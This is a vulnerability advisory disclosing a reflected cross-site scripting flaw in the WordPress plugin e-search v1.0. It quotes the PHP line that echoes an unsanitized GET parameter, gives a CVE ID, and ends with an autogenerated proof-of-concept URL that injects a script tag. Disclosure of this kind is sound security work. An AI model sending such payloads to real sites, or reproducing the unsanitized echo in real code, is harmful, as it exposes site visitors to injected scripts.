Advisory #: 394
Title: Reflected XSS in wordpress plugin e-search v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/e-search
Downloads: 524
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: e-search
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./e-search/tmpl/title_az.php: 44: <input name="title_az" type="hidden" value="<?php echo $_GET["title_az"]; ?>" /> The variable title_az appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000130
File:./e-search/tmpl/title_az.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/e-search/tmpl/title_az.php?title_az="><script>alert(1);</script><"